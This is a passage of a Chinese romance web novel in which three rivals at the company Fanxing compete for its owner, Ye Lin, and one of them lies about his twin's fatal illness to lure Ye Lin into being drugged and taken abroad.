沈邵看见他的背影远去,趁热又泼了油:“天才就是容易有脾气,眼里容不得普通人,很正常。” 刘闻摇摇头:“楚诏是这样的,没有情商,平常就跟很多人处不来。但他确实厉害,梵星系统能够稳固,都是因为他。” 顾嘉致嗤笑:“说的好像梵星离开他就会死,把他捧太高了吧。” 沈邵:“这句话也没什么不对,核心技术对于互联网公司来说就是身家性命,我和你都可以换,但楚诏换不了。” 顾嘉致:“呵,我跟你沈邵还是有本质区别。你连金晶这种小工作室都搞不定,还呆在梵星丢人现眼做什么,赶紧辞职!” 叶临听着他们吵架,气得将杯子摔了,让他们安静,都滚出去。 啪嚓— 听到碎裂声,三个人都安静下来。 刘闻率先退出去,沈邵不愿也要装成懂事的模样跟着退出去。 顾嘉致还想再说,但是被叶临阻止,也只好离开。 办公室里的墙壁上粘贴了很多有关梵星的照片。 这个公司是起点,也是主干,后面会串联起无数的公司,成为实力雄厚的集团。 主干长大无异是最难的,需要耗费许多心力。可一旦长成,就会有源源不断的力量供给枝干。 现在金晶就是梵星的一个重要枝干,只有梵星好了,才能顺利长大,结出值钱的金果子。 可现在主干里像是有团火,越烧越旺,就快要毁掉所有,必须想办法阻止。 楚诏掌握核心技术,对公司很重要。 顾嘉致是他最好的兄弟,也是梵星创始人之一,不仅有谈业务的能力,手里还有顾柘的资源人脉,也很重要。 二者都不能割舍,必须想办法维持平衡。 叶临想了想,还是打算去找楚诏说清楚。 可是楚诏已经不在公司,电话也打不通,彻底消失了踪影。 叶临找到沈邵,对方也不知道楚诏的情况,还把手机拿出来给他检查,确实已经被楚诏删了好友。 沈邵跟他解释楚诏的心中的不满,还刻意划到他们的聊天界面,故作小声翼翼地问:“你删了我的好友,是因为我做错了什么吗?” 叶临没删沈邵,哪里知道这件事,下意识地发消息,结果收到了红色的感叹号。 他明明没删,是谁删了呢? 叶临正在疑惑,忽然感觉到有人在拍自己的肩膀,紧接着就被强行抱住。 顾嘉致以一种护食的姿态困住叶临,面色不善,正盯着旁边的沈邵:“你不去哄自己的偶像楚诏,还好意思跟叶临说话?” 沈邵听出他在嘲讽自己把楚诏称为天才,故意不计较:“我也想帮叶临分忧,可是楚诏把我删了。也不知道是他本人删的,还是偷拿他手机删的。” 叶临想到自己酒醉后把密码告诉顾嘉致,恍然大悟:“顾嘉致,我跟你说手机密码,你就偷偷删了沈邵!” 顾嘉致捕捉到沈邵眼里不易察觉的得意之色,直接承认:“对,我看你被沈邵这种混蛋蒙骗,心里不爽,就把他删了。怎么,你要因为这种事跟我吵架吗?” 叶临刚跟他保证过友谊最大,此刻如同被强行安上了道德枷锁:“不至于,但是你下次删人要先问我。你先去市场部上班,楚诏那边我会想办法。” 沈邵如遭雷击,之前就知道顾嘉致对叶临的意义特殊,可是亲眼看到叶临宠溺顾嘉致,还是会受不了:“叶临,他未经同意动你的手机,已经是侵。犯了你的隐私权,你就原谅他了?” 顾嘉致扬起嘴角,笑声爽朗:“那怎么了,我们的关系就是是很好,互相知道对方的密码,可以随便翻对方的手机,哪有什么隐私不隐私的。” 沈邵的脸色青一阵白一阵,已经快要绷不住。 叶临不想跟他们谈论这些杂事,还是继续尝试楚诏,希望他快点回来。 楚诏总算回消息,却是令人心梗。 【我想好了,梵星有我没他,有他没我。】 第77章 第77章他快死了吗 楚诏离开梵星后,就回到自己以前住的旧小区。 这里很久没人住,家具和地板都积攒了灰尘,空气中弥漫着淡淡的怪味。 叶临打了很多通电话,还发了消息,看起来非常紧张他的离去。 楚诏没有及时回复,先把卧室打扫出来,这才给叶临发消息。 他要叶临在自己和顾嘉致中间做出选择,只能要其中一个人。 叶临没有回复他,应该还是在纠结。 早在一天前,楚诏就跟沈邵约定好,他在明面上反对顾嘉致进入梵星,而沈邵在暗地里给顾嘉致使绊子。 刚刚在办公室就是这样,可是叶临看重顾嘉致,并没有答应。 现在只能出来待几天,再看看情况。 沈邵告诉楚诏,叶临很在意他手里的核心技术,只要继续僵持,就能逼迫叶临放弃顾嘉致。 本来一个沈邵就已经够讨厌了,现在还有个顾嘉致,那以后叶临分给他的时间只会变得更少。 还有更致命的点,叶临对待他和沈邵,几乎差不多。可是对顾嘉致格外好,这就是他不能容忍顾嘉致的原因。 楚诏又把其他地方打扫干净,再回到卧室,耐心地等待叶临跑来找自己。 可是接连等待四天,叶临还是没有来,也没有联系他。 楚诏用另外的账号联系沈邵,对方就告诉他要沉得住气,再多等几天,叶临会放弃顾嘉致,跑来找他。 沈邵这个人最会说漂亮话,最初就是靠着情敌们内斗,坐收渔翁之利,完全就是个笑面虎。 楚诏不相信他的话,打算暗中观察。 梵星整个系统都是他在管理,连带着可以随时查看各处的监控器。 他通过监控录像发现,顾嘉致已经入职市场部,每天都会跟叶临上下班。 沈邵偶尔会在公司里给顾嘉致甩脸色看,但是距离他事先说好的使绊子还是很远。 难不成,沈邵这家伙,又想看他和顾嘉致斗得两败俱伤,再坐享其成? 楚诏不断地滑动进度条,发现办公室里有一幕,令他心塞。 叶临被沈邵抱起来放在办公桌上,双手抵住桌面,微微往后仰,伸长了白皙的脖颈,脸颊和耳垂微微泛红,眼神迷离。 沈邵时不时低头亲他,又不干脆地全给,而是一点又一点的,慢慢的,无限旖旎。 叶临像是饮鸩止渴,从被动转为主动,将沈邵的衬衫袖口都抓皱了,浑身都在发抖。 二十分钟前的梵星门口监控:顾嘉致临时有事,带着市场部的人员往外办事。 而二十分钟后,叶临就和沈邵在办公室里旁若无人的亲热。 沈邵心情应该很好吧,从监控录像中就能看出来,他微微眯起眼睛,像是吃饱了的狮子在打盹。 果然是奸计! 沈邵让他先出头,惹叶临生气,再支走顾嘉致,好跟叶临独处。 什么好事都让他占了,别人还需要替他冒险。 楚诏回忆起之前跟顾柘对抗的细节,发现自己完全就是沈邵手里一把好用的刀。 要不是他掌握了梵星的核心技术,顾氏兄弟两败俱伤后,沈邵就会成为最大的赢家,甚至跟叶临结婚,白头到老。 该死,他竟然又被沈邵这个心机深沉的混蛋摆了一道! 楚诏猛地将键盘捶坏,换上衣服就出门,打算找叶临说清楚。 进入夏季后,阳光如熔金般要将大地烤化,像是岩浆的表层,街上的行人都很少。 空气中弥漫着令人窒息的热气,偶尔有微风吹过,也带着灼人的温度,难以忍受。 这种天气,呆在空调房里喝冰饮最舒服。 叶临躺在沙发上,正在享受沈邵提前为他准备的水果冰淇淋和饮料,前面的超大屏幕正在放映他最爱的电视剧。 现在这个时间点,沈邵在梵星忙碌,顾嘉致外出应酬,他懒得上班,就呆在家里休息。 本来是想去找楚诏,可是顾嘉致拦着他,而沈邵居然也说了楚诏的坏话。 他们两个人的意见大同小异,都是认为老板不应该迁就员工。 如果叶临跑去找楚诏,那就会助长他的傲气,以后在公司只会更加嚣张跋扈,再也无法管束。 叶临不喜欢哄人,尤其是哄男人太,麻烦了。既然身边人都劝他别管楚诏,那就晾一段时间。 当然,要是楚诏主动递交辞呈,那他肯定要说些好话挽留,现在就算了。 门口突然响起铃声。 叶临打开手机里的操作系统,通过监控发现站在门口的是楚诏。 自从那天楚诏离开公司后,沈邵就提议换掉门口的密码。叶临同意,还把密码告诉顾嘉致,让他随时过来玩。 换了新密码,楚诏就进不来,只能按门铃。 但是他怎么会突然回来? 叶临放大画面,确认站在外面的是楚诏,这才远程开门。 门开后,楚诏急匆匆地往里跑,注意到躺在沙发上的叶临才安心。 好在叶临身边没有其他男人,不然真的会气死。 楚诏走到沙发旁边,看着喝饮料的叶临,欲言又止。 叶临知道是他靠近,也不抬眼去看,讽刺道:“怎么回来了,不是说有你没他,有他没你吗?” 楚诏想到沈邵亲吻叶临,也在地毯跪下来,俯身去亲。 叶临还以为这家伙是回来吵架的,措不及防被吻,眼睛瞪大,手慢半拍才推过去。 楚诏预判他的动作,及时接住。 叶临怒骂:“你有病啊!” 楚诏本来想质问,可是面对叶临毫无波澜的眼神,又倍感失落,音量随之降低:“这么多天,你从来没有来找过我,也不联系我?” 这种话叶临听太多了,他都不记得是哪个男人向他埋怨过,反正神情都一样。 不出所料,下一刻又要搬出爱死爱活的相似语录。 叶临翻了白眼:“你自己要闹脾气出走,我为什么还要去找你?别以为开公司是过家家,想走就走,想留就留。 都是个成年人了,能不能有点责任心,抛下这么大的研发部,你有没有考虑过其他员工的心情?” 楚诏被他数落一通,什么词都没听进去,只是询问:“这些天,你都在沈邵的房间过夜吗?” 叶临看他这副为情所困,毫无上进心的模样就来气,抬脚就去踹他:“这些重要吗,重要的是你到底回不回来工作?” 楚诏垂下眼帘,想到他们的曾经,不由得生出悲痛之情,声音哽咽:“重要,我本来就是因为你才进入梵星,这些对于我来说,当然很重要。” 说来也是,楚诏是被他骗进梵星,根本不是自愿加入,有点小脾气,好像也正常。 叶临想了想,叹息一声:“行吧,也不是每天都在沈邵房间过夜,也会去顾嘉致的公寓。他们两个都挺懂事的,不吵不闹,还努力工作。” 楚诏咬牙切齿:“果然,沈邵就是个心机深沉的贱人!” 叶临用力戳他的脑门:“你自己是什么好货吗,怎么好意思骂他?” 楚诏意识到经此一役,自己的形象在叶临心里已经大跌,连忙挽回:“对不起,我上次确实太冲动了,都没有考虑到公司里的利益。 顾嘉致来市场部挺好的,我也该回到研发部,继续为梵星出力。” 叶临欣慰地坐起来:“你能这样想就好,本来大家都能开开心心地赚钱,非要闹矛盾做什么?” 楚诏赶紧坐到他旁边,将人搂进怀里,继续道歉说好话,还保证自己以后绝对不会犯下这种大错。 叶临最喜欢看到三个人和睦相处,共同为梵星做贡献,而他只需要躺着收钱。 看到楚诏开悟,说话的语气都缓和了不少。 他跟楚诏提起金晶正在谋划的游戏遇到了技术难题,希望楚诏赶紧回去上班,帮忙解决。 楚诏把他以前在圈里认识的技术人才叫过来,让他们进入金晶工作室,帮忙开发新游戏。 这成功解决了叶临的近忧,提升了不少的好感度。 傍晚,沈邵拎着食材回到家里,还想跟叶临享受美好的二人时光。 结果却听见楚诏和叶临嘻嘻哈哈的声音从电竞室里传出来,差点提不动手里的袋子。 这家伙才消失多久,就又回来了? 真是阴魂不散! 沈邵放下袋子,跑进电竞室里,看到他们像往常一样打游戏。 电竞室里的彩灯酷炫,响起各种打击音效。 叶临戴着耳机,沉迷于游戏里,都没注意到门口有人,楚诏很快就感觉到,但是没抬头。 沈邵:“楚诏,你怎么又回来了?” 楚诏摘下耳机,冲他微笑:“我不回来,有些人可能真以为自己是一家之主了吧?” 沈邵正想说些风凉话,结果游戏屏幕里的角色死了。 叶临猛地摘下耳机,嫌弃地看向沈邵:“你来这里干扰到我们打游戏了!” 楚诏嘴角微勾:“就是!虽然你不是故意的,但还是快点出去,别影响叶临的胜率。” 沈邵跟他对视的几秒钟里,就知道自己的计划失败了。 从今往后,楚诏不会在明面上敌对顾嘉致,相反,他会伪装成懂事识大体的模样,蛰伏起来。 门口忽然响起熟悉的脚步声。 叶临惊喜地瞪大眼睛:“你回来了,快过来,我们一起打这关!” 顾嘉致站在沈邵背后,看见楚诏完全笑不出来,大步走进去,用力撞了楚诏的桌子,大声嘲讽:“哇,不是说,公司有我没他,有他没我吗?” 楚诏抬眼去看顾嘉致,故作谦意地笑起来:“是我以前思想狭隘了,没有考虑到大局,以后我都不会说这种话。” 顾嘉致一拳打过去,没打到肉还被反弹回来,烦躁地拍桌子,咬牙骂:“几天不见,你怎么跟沈邵一样恶心了。” 沈邵无奈地笑起来:“我又哪里惹到你了?” 顾嘉致做出呕吐的动作,又看向叶临:“你是怎么忍受身边有这两个恶心玩意儿的,还不如去我那里住。” 沈邵:“叶临,今天晚上你想吃鲫鱼还是鲑鱼?” 楚诏:“我猜是鲑鱼,刚好我会做。” 叶临忽然如坐针毡,像是被巨大的雷暴云层笼罩住,四周都是噼里啪啦的闪电。 他站起来,指挥沈邵和楚诏进厨房忙活,而顾嘉致坐下来陪他打游戏。 沈邵和楚诏都听话地离开电竞室,进入厨房。 顾嘉致坐下来无心打游戏,嘴里还在抱怨,叽叽喳喳个不停。 叶临烦得头疼:“你打不打,不打就走!” 顾嘉致:“靠,你这样对我说话!” 叶临无奈:“顾嘉致,我当然欢迎朋友来我家做客。但你也不能一直吵吵嚷嚷,烦死了。” 顾嘉致今晚还想留宿,只好住嘴。 可他怎么能忍受楚诏和沈邵那两个蠢货占了叶临的时间,必须尽快想办法赶走。 游戏玩到一半,厨房里的香味就传进来,勾得叶临无法专心。 叶临情不自禁地跟顾嘉致讲述自己这段时间的美好生活: 天天都有人伺候,梵星的月流水也突破九千万,快要过亿,一切都向着好的方向发展。 顾嘉致无法跟他共情,脑子里全是怎么赶走情敌。 可情敌都不是简单的货色,个个都精,还变着法地给他使绊子。 该死的沈邵,故意给市场部安排了很多工作,害得顾嘉致一周被迫出差五天,经常见不到叶临。 顾嘉致也可以拒绝沈邵的工作,可是他才刚回到梵星,需要做出实绩才能服众。 不然,他可以嘲笑沈邵解决不了小小的金晶,那沈邵也能笑话他处理不好几个小合同。 更致命的是,他吃了这么多苦,又不能跟叶临抱怨。那样沈邵又会嘲讽他能力不行,应该换到清闲的职位。 一个沈邵已经足够恶心,现在楚诏也回到公司,两相夹击,只怕更难对付。 叶临看出顾嘉致眼里的疲惫,拍拍他的肩膀安抚道:“待会儿你多吃点,沈邵炖的鱼汤很补。” 顾嘉致暗道:杀了沈邵和楚诏,煮的汤更滋补。 这时,沈邵已经来电竞室叫他们出去吃饭,眼神落在顾嘉致身上,就像在看一条待宰的蠢猪。 楚诏忙着摆盘看到顾嘉致走过来,也没有直视,尽量避开他,减少彼此的矛盾。 短时间内,他真的不能再跟顾嘉致起矛盾,否则肯定会被叶临讨厌,只能装模作样。 顾嘉致感觉到他的退让,啧了一声,在叶临旁边坐下来。 叶临看到梵星最重要的三个人齐聚饭桌,开了一瓶昂贵的白酒,倒进各自的杯子里。 三人都不喜欢这种团聚的场面,但为了叶临开心,还是勉为其难地拿起酒杯碰杯,说些恶心话。 酒过三巡后,就是最重要的选择时间。 楚诏:“叶临,待会我跟你说金晶的构想,保证能解决问题。” 沈邵刚想开口,就被顾嘉致强行打断。 顾嘉致挽住叶临的手腕:“我这几天出差累死了,遇到了很多奇葩客户,待会儿我跟你讲清楚。” 叶临心里偏向于顾嘉致,头已经靠近肩膀,嘴里嘟囔着辛苦了。 见状,沈邵和楚诏的脸色难看,都站起来。 此刻就像是鸿门宴,只要听到摔杯的暗号,三人就会厮杀。 叶临挥挥手:“你们怎么回事,都不喝酒,干瞪眼啊?都是一个公司的,大家要和睦相处,别内讧。” 火焰再次被扑灭,硝烟味也消失,饭桌再次恢复平静。 最后,还是顾嘉致抱走叶临。 可第二天他就得出差,便宜了留守的两个人。 三个人还在斗,只是不搬到明面上。私底下暗斗,谁都没有分出胜负,更没有所谓的赢家。 三角形最为稳固,三人争霸的时间会很漫长。 顾嘉致一想到这种生活还得持续很久,心里就憋屈。 思来想去,他只能采用顾柘的办法。 又是一年毕业季,梵星在周边的大学招了好几个计算机的学生。 有年轻的力量涌入,公司里变得热闹起来,同时也忙碌起来。 其中最为忙碌的就是研发部,需要适应各种平台做出升级调整,还得提前布局其他的产业。 楚诏忙得脚不沾地,几乎是住在梵星,很少会回去。 月流水破亿后,梵星的知名度进一步提升,很多投资商慕名而来,沈邵也很忙,需要统筹规划公司的资源。 叶临受到这个氛围的感染,也得出面签订合同,陪着顾嘉致往来于各大会所。 入夜后,天空呈现出天鹅绒般的深黑,江水是一抹幽邃的墨蓝色,耀眼繁星和建筑灯光点缀其中。 叶临刚签完合同,跟顾嘉致站在江边的栈道上,吹着凉爽的晚风。 顾嘉致看着江面上的倒影,全是模糊的灯光色块,如梦似幻,显得一切都不真实。 叶临指着对面的大楼,扬言等到他三十岁的时候肯定要全买下来,当成梵星的办公基地。 对面的大楼位于整个城市最繁华的地段,每一层都是一个公司,要想买下整栋楼,需要的金钱是个天文数字。 顾嘉致还是附和他的话:“会的,你肯定能做到。” 叶临偏头去看他:“这段时间你辛苦了,要忙这么多应酬。” 江水的光影在这张脸上流动,如同艺术创作,每个转角,每个弧度,都承载着纯粹的美。 他的瞳孔颜色偏浅,像是晶莹剔透的琥珀,在夜色中比钻石还要耀眼,令人移不开眼。 顾嘉致凑过去吻,手紧紧地握住栏杆。 江水在流动,倒影炫目。 风吹起他们的碎发,水光淌过彼此的面颊,耳侧,最后落回眼睛里。 叶临听见周围有路人的声音,本来想推开顾嘉致,可是手被攥紧,又听到水流在哗啦,于是闭上眼,尽情痴缠。 顾嘉致的未来的构想里没有楚诏和沈邵这两个烦人的家伙,只有叶临。 很久很久,才分开。 叶临的脸颊红得厉害,呼吸不匀,扶着栏杆看水,嘴里嘟囔着:“顾嘉致,你在外面突然发什么神经?” 顾嘉致:“你还记得顾柘吗?” 叶临没想到他会提起这个晦气的家伙,沉默片刻才回答:“知道,出车祸住院去了呗。” 顾嘉致:“他快死了。” 江水都随之停止,所有声音都消失。 叶临久久没有领悟到他话里的意思,扭过头再问了一遍:“你说什么?” 顾嘉致拿出顾柘住院化疗的照片给他看:“癌症晚期,过几天就死了。 家*里已经把所有财产都交给我了,我爸妈每天以泪洗面,都不出去见人。” 叶临看着照片上的顾柘,瘦得像是骷髅,头发全部掉光,身上插满了各种管子,已经不成人样。 “怎,怎么突然就得癌症了?” “抑郁症伤到脑子,后面出车祸又不好好治疗,就成这样。” 顾嘉致平静地叙述完顾柘被病痛折磨的经历,像是在说一个陌生人的故事,而不是他的双胞胎哥哥。 叶临不断地往后滑动,发现顾柘的姿态越来越糟糕,完全没人样,立即熄屏不再看了。 谁能想到,被他视为噩梦的顾柘,居然会得癌症,还快死了? 顾柘不是大反派吗,怎么现在就死了? 不至于吧。 叶临有种割裂感,就像是发现一座百米高的参天巨松,看起来强大,结果松树内部早就被蛀空,摇摇欲坠。 “不是,你没开玩笑吧,顾柘真得癌症,要死了?” “是,已经请了所有的专家,还是救不了。” “啊?” 叶临还是无法接受,一个跟自己纠缠很久的活人要死了。 顾嘉致说到这里,垂下眼帘:“我确实痛恨他,但是看到他快死了,又觉得他可怜,没那么可恨。你知道他跟我说什么吗?” 叶临还是无法将死之人跟顾柘联系起来,抓紧顾嘉致的胳膊:“什么?” 顾嘉致:“他说,你肯定不愿意再见他最后一面。所以拜托我捎句话,想跟你说声对不起。” 人之将死,其言也善。 叶临痛恨顾柘,倒也不会希望他去死,又问:“顾柘那么狡猾,怎么就要死了?” 顾嘉致抓住他的手放在心脏的位置:“我们是双胞胎,有心灵感应。我能感觉到他的生命所剩无几,最多就五天吧,五天后就会离开人世。” 叶临看见他的眼神笃定,这下相信顾柘快死的事实,一时之间不知道说些什么好。 顾嘉致:“虽然我也不想跟你说这句话,但我也不能跟快死的人计较。他临死前还想再见你一面,你要去吗?” 叶临钉在原地,望着江水出神。 他要去吗,去见顾柘最后一面? 第78章 第78章“你们两兄弟都是混蛋!”…… 实际上顾柘对于梵星的帮助也很大,年初那会儿如果不是他管,梵星已经分崩离析,不可能会有现在的盛景。 而且顾柘还对他有应必求,给了很多钱。 就是性格疯癫,总是动不动吓唬人。 现在想想也能够理解了,原来顾柘有抑郁症,所以精神不正常。 叶临长叹一口气,没有立即答应,打算回去再好好地想想。 顾嘉致尊重他的意思。 刚好今天家里没有沈邵和楚诏,只有他们,可以说很多话。 偌大的豪宅里,只剩下两个人,略显空荡。 叶临看着窗外的景色,去冰箱里拿出好酒和饭菜,放在客厅,要跟顾嘉致喝两口。 酒精下肚,神经被迷惑,就容易说出埋藏在心里的话。 叶临谈起自己对顾柘的恨意,把这个人来来回回地骂了好几遍。 顾嘉致在旁边附和,连带着把自己小时候在顾柘那里吃到的苦头都说了。 两个人骂完,看看对方,又沉默了。 叶临放下酒瓶:“顾柘真快死了吗?” 顾嘉致犹豫片刻,还是坚持最初的答案:“对,癌症晚期,离死不远了。” 叶临沉默了,不再说话。 死亡这个词,对于叶临不算陌生。 小时候,他经常去隔壁家的小果园偷桃子,独居老爷爷每次都把他赶走,骂骂咧咧的,说是要留给自己的孙孙们吃。 可是他的孙孙们几乎不回来,与其等桃子烂掉浪费,还不如给他吃了。 有一次他还想去摘桃子,结果发现老爷爷倒在门口。 他跑去叫村里的大人,老爷爷被送去医院,结果还是死了。 老爷爷的子女们总算从外地赶回来,为他举办完葬礼就走了,再也没有回来。 自此房屋破败,院子里长满野草,桃树没有果子,一片荒芜。 还有以前在工厂认识的同事,一心想赚钱回老家建新房娶媳妇,结果28岁患上了肝癌,没多久就死了。 死亡意味着再也不会见面,彻底消失。 顾柘可恨,又很可怜,年纪轻轻患上绝症,命不久矣。 顾嘉致最恨顾柘,不会在顾柘的事情上撒谎,看来是真快死了。 以后再也见不到顾柘这个人,两三年后他的坟头会长满很多草,几十年后世间再也不会有他存在的痕迹。 人再讨厌,快死的时候总是能够勾起怜悯之心。 叶临想到那些逝去的人,由衷道:“人生苦短,及时行乐吧。” 顾嘉致哪里想到叶临会露出这种憔悴悲伤的表情,忽然有些心虚,都没有去碰杯。 他从小过得顺心如意,没见过苦命人,哪里懂得死亡的含义,更无法与现在的叶临共情。 叶临喝完最后一口酒:“明天去看看顾柘吧,挺惨的。” 次日早上,商场刚刚开业不久,人数不多。 叶临换了一身严肃的正装,还去商场精心挑选了几样礼物,打算带着去看望顾柘。 顾嘉致认为他没必要买这些礼物,可看他表情认真,还是不敢多嘴。 顾柘在郊外的疗养院里休息,这里风景秀丽,人烟稀少,是个适合养病的场所。 叶临刚进去,心中就涌上一种悲戚的心情,不知道以什么表情面对顾柘。 顾嘉致神情凝重,走路略慢,心里藏着重重心事。 “怎么这里没有看到医护人员,没人照顾你哥吗?” 叶临走了一会儿,感觉周围的环境不对劲,停下脚步去问旁边的顾嘉致。 然而没有得到回答,他的口鼻突然被蒙住,很快就晕过去。 像是陷入了漫长的梦境,不断地奔跑,怎么都到不了边缘。 慢慢的,整个人都飘起来,像是在云层间畅游。 很快就坠落到底,跌得浑身酸痛。 叶临睁开眼,发现自己躺在一家欧式装修风格的房间里,周围很安静,没有吵闹声。 往窗外看去,街道上的人肤色各异,或白或黑,发色也有很多种类,每个人都穿得奇形怪状。 操,这是哪里? 叶临赶紧去摸口袋,发现手机也不见了,而他身上也换上宽松的睡衣。 这时门被推开,顾嘉致端着食物走进来:“你醒了。” 叶临直觉认为现在的情况不对劲,警惕地看着顾嘉致:“这是哪里,不是说去看患癌的顾柘,我怎么来到这里?” 顾嘉致把奶酪和面包拿出来摆好:“你先吃饭,我待会儿跟你解释清楚。” 叶临嫌弃地瞥了桌上的奶酪和面包:“我不吃,你现在就跟我说清楚!” “很简单,你出国了,现在跟我们一起生活。”顾柘突然出现,意简言骇地解释所有。 “你,你!”叶临注意到顾柘眉尾的疤痕,吓得脸色发白:“你不是患癌了,怎么好端端地站在这里,是人是鬼?” “顾嘉致骗你的,我怎么可能患癌。”顾柘想靠近叶临,却被顾嘉致拦住。 “明明是你自己要编这种谎言,怎么全赖我!”顾嘉致面色不虞,很烦顾柘这种污蔑行为。 “那我说的,叶临不会上当受骗。只有你顾嘉致说的,他才会相信。”顾柘微微挑眉,看向叶临,非常期待他的反应。 叶临瞬间就明白了,是顾嘉致撒谎欺骗他去疗养院,然后再把他迷晕,带到这个鬼地方。 他会怀疑顾柘撒谎耍花招,但从来不会怀疑顾嘉致的话。 叶临拿起杯子朝着顾嘉致的脸上砸去,大骂:“顾嘉致,你个畜牲,居然骗我!” 顾嘉致的额头被砸中,红了一块,水顺着脸颊流下来,打湿领口。他确实撒谎了,利用叶临对自己的信任,所以无话可说。 顾柘得意地笑起来,乐于看到弟弟被嫌弃。 叶临看到他那副沾沾自喜的表情就来气,拿起盘子和叉子全砸过去。 顾柘接住叉子,胸膛倒是被盘子砸中,耐心地哄:“别气了,先吃饭,再跟我们发脾气好不好?” 叶临掀起被子就想往外跑,结果被顾柘搂住腰,不断地踢蹬:“放开我,你们两兄弟都是混蛋!” 顾嘉致按住顾柘的手:“小心点,别伤到他。” 叶临趁机踹了顾嘉致一脚,大骂:“顾嘉致,你个恬不知耻的混蛋,枉我把你当成最好的兄弟看待,居然跟顾柘勾结暗害我!” 顾嘉致被他踹得往后退了几步,不知道该说些什么。 顾柘把他抱起来,按住乱动的手脚,瞥了神情落寞的弟弟:“你跟顾嘉致又没有血缘关系,他怎么可能真心把你当兄弟,从头到尾就只想睡。你。” 叶临哑然。 顾嘉致猛地抬眼,瞪了顾柘:“你少在那里诬陷,我跟你只是暂时合作。放开叶临,让他吃饭。” 顾柘冷笑两声,刚把叶临放下来,脸颊就挨了一巴掌,嘴角都溢出血。他舔掉血迹,脸上的笑意不消,反而更为明显,像是饥饿许久的狼吃到肉。 叶临几乎是下死劲,打完又要往门口跑。 顾嘉致及时挡在门口,拦着叶临,苦口婆心地劝:“先别出去,外面不安全。” 叶临又朝着顾嘉致的腹部猛踹:“我最恨你这种背叛朋友的混蛋,给我去死!” 顾嘉致疼得弯起腰,还是抵住门:“叶临,你信我。” 叶临又踹了一脚:“我以后再也不会相信你了!” 此时,街道忽然响起枪声,人群四处逃散。 叶临听到枪声,顿时愣在原地。 顾柘走上前,按住他的肩膀,轻声道:“就说外面不安全,呆在这里还有保镖,你一出去身上就会有很多血窟窿。” 叶临已经能够想象到自己中了好几颗子弹,浑身流血的惨状,腿都发软了,不敢继续往前。 虽然很想逃跑,但跑出去会死,还是呆在这里吧。 叶临最怕死,迅速往后退,坐回床上,还忧心忡忡地看向窗外:“你们这里的保护措施是可靠的吧,会不会有人突然跑进来开枪杀人?” 顾柘走过去,合上所有的窗户,嘴角微微上扬,耐心地解释:“放心,窗户用的防弹玻璃,还有人24小时巡逻,不会发生这种事情。” 叶临点点头:“要是真有人跑进来,我就先拿你挡子弹,你死了再用顾嘉致挡。” 顾嘉致直起身:“放心,有人进来,他会抢着帮你挡子弹。” 这倒是实话,真有人开枪,他和顾嘉致都会抢着替叶临挡子弹。 顾柘在叶临旁边坐下来,想去抓他的手,却被躲开,无奈地叹息:“你真狠心,舍得我先死,顾嘉致后死。” 叶临咬牙切齿:“你们都一样可恨,早点死了最好。” 顾嘉致以前经常能从叶临这里听到自己和顾柘的不同,可现在再也没有了,心里很不是滋味。 顾柘还想调侃几句,听到手机响,于是拿起来接听。 没过多久,他就挂断电话,叫上顾嘉致离开这个房间。 临走时还叮嘱叶临不能出门,老实呆在家里,实在无聊可以玩游戏看电影。 叶临都没答应,先是把房间里仔细巡查一遍。 这个房间的摆设简单,除开床就还有一张白色的小沙发和圆形茶几,对面就是个投影屏,旁边放着几部电影。 茶几上有个游戏机,没有联网,只能玩些单机游戏。 房门从外面锁上,能够听见有人在巡逻,应该是顾柘口中的保镖。 街道上的人群密集程度很低,就算有,也都是异国面孔,根本不能跟他们交流。 叶临从窗户边往下看,猜测应该是在五楼的位置。很高,跳下去会摔断腿脚,而且在路上跑也很危险,万一被枪击中了怎么办。 当然,更为致命的是他语言不通,无法向当地人寻求帮助。 而且他从没出过国,哪里知道这其中的手续,就算跑出去,也回不到原本生活的城市。 好像不能一个人跑出去,只能找人帮忙。 顾柘这个贱货,肯定不会帮他。 再看看其他人吧。 莫名想到顾嘉致,心里又涌出滔天的怒火。 叶临刚刚撒谎了,其实他心中对顾嘉致的恨意比顾柘更深。 因为顾柘就站在那里,直截了当地告诉你,他是个不择手段,卑鄙无耻的混蛋。 可顾嘉致不一样,他是藏着憋着,等到你放松警惕的时候,再背叛你。 该死的顾嘉致,怎么对得起他的信任!? 叶临痛骂顾嘉致几百遍,恨不得把他挫骨扬灰,断绝朋友关系。 当然,这两兄弟某种程度上来说,都非常恶心。 居然利用他的心软,欺骗他上当。 怪不得疗养院那么偏僻,估计旁边就是私人飞机场,而他独自前往,就很容易被拐走。 亏他还担心顾柘患癌会死,现在想来,真是个可笑的小丑! 叶临骂完,躺下来休息,心里盘算着怎么逃回去。 太阳逐渐西斜,大片建筑都沉浸在暖橘色中,街道上没人了。 门外响起脚步声,听起来应该是顾氏兄弟其中的一个。 叶临赶紧蒙上被子,装成睡觉的样子。 走近了,就闻见食物的香气,好像是烤鸡和汤面,这就比什么破奶酪面包有食欲。 盖在脸上的被子被拉开,紧接着脸颊就被触碰,是熟悉的温度。 叶临睁开眼,用力推掉那双手:“顾嘉致,你来做什么?” 顾嘉致看向桌上的饭菜:“你一天没进食了,还是吃点吧。” 叶临掀起被子坐起来,指着顾嘉致的眉心破口大骂:“我这辈子都没遇到过,像你这么恶毒的人渣败类!你怎么能利用我对你的信任,把我骗到这个鬼地方来!” 顾嘉致沉默不语。 叶临又扑过去打他,嘴里骂着:“我对你这么好,你怎么好意思背刺我,给我去死!” 顾嘉致不反抗,任由他打骂,像是认命的犯人。 叶临不喜欢打一个没有反应的死人,停下来问:“你以前不是最讨厌顾柘,为什么跟他合作整我,你就这么贱!” 顾嘉致望着天花板上的灯,那是群星环绕月亮的装饰:“因为你身边有楚诏,有沈邵,接下来还会有张诏,陆诏,林邵,韩诏。 你让我怎么办,眼睁睁地看着你跟不同的人亲密,嫉妒到死吗?” 叶临总算明白过来,顾嘉致压根没有放下自己的爱意:“那我又不喜欢他们,你有必要吃醋吗?” 顾嘉致偏头去看叶临,眼眶已经红了:“你扪心自问,真正喜欢过谁?在你眼里根本没有喜欢这个词,只有在意!你总是在意那么多人,我受不了!” 叶临无法理解他的逻辑,嘴角微抽:“哦,那我在意顾柘,你又受得了?” 顾嘉致:“你恨顾柘,这就够了。” 可以容忍一个被叶临憎恶的顾柘,但是不能容忍备受叶临在意的沈邵和楚诏。所以他选择合作,哪怕会为此付出代价。 叶临赌气似疯狂踹他:“那好,我在意顾柘,还要喜欢他,我看你能不能忍!” 顾嘉致的眼神坚定:“你做不到。” 叶临彻底将他踹下床,立下誓言:“好,你等着,我现在就会在意顾柘,喜欢他。到时候你就会后悔背叛我跟顾柘合作。” 